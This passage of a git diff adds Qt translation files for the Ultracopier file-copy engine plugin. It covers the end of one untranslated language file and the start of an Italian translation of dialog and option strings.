+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/it/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/it/translation.ts
new file mode 100644
index 0000000..0bbc22f
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/it/translation.ts
@@ -0,0 +1,1319 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="it" sourcelanguage="en">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation>Non supportato su questa piattaforma</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation>La data dell&apos;ultima modifica è errata</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation>La data dell&apos;ultimo accesso è errata</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation>Percorso dell&apos;errore di conversione</translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation>Impossibile copiare, il motore per la copia forzerà lo spostamento</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation>Impossibile effettuare lo spostamento, il motore per la copia forzerà la copia</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished">Cartella di destinazione</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation>Chiedi</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation>Salta</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation>Unisci</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation>Rinomina</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation>Metti in coda</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation>Sovrascrivi</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation>Sovrascrivi se differente</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation>Sovrascrivi se più recente</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation>Sovrascrivi se meno recente</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation>Automatico</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation>Sequenziale</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation>Parallelo</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation>Opzioni di errore</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation>Chiedi</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation>Salta</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation>Unisci</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation>Rinomina</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation>Metti in coda</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation>Sovrascrivi</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation>Sovrascrivi se differente</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation>Sovrascrivi se più recente</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation>Sovrascrivi se meno recente</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation>Automatico</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation>Sequenziale</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation>Parallelo</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation>Opzioni di errore</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation>Le opzioni del motore per la copia non vengono caricate, impossibile accedere ai filtri</translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation>Spazio su disco</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation>Continua</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation>Annulla</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation>L&apos;unità %1 ha %2 disponibili, ma necessita di %3</translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation>Errore nella cartella</translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation>Nome della cartella</translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copia</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copia (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation>Errore</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copia</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copia (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation>Errore</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation>Cerca:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation>Tipo di ricerca:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation>Testo raw</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation>Regex semplificato</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation>Regex in Perl</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation>Applicare su:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation>File</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation>Cartelle</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation>File e cartelle</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation>Verifica</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation>Stringa di verifica:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation>Finestra dei filtri</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation>La regex è valida</translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation>Filtri</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation>Filtri di esclusione</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translatorcomment>o filtri per l&apos;inserimento?</translatorcomment>
+ <translation>Filtri di inclusione</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translatorcomment>o Nessuno = Includi tutti oppure Nessuno = Inserisci tutti oppure bisogna lasiare none?</translatorcomment>
+ <translation>Nessuno = Tutti inclusi</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation>Testo raw</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation>Regex semplificato</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation>Regex in Perl</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation>Solo su file</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translatorcomment>o cartella al singolare?</translatorcomment>
+ <translation>Solo su cartelle</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation>Corrispondenza completa</translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation>Cartella già presente</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copia</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copia (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
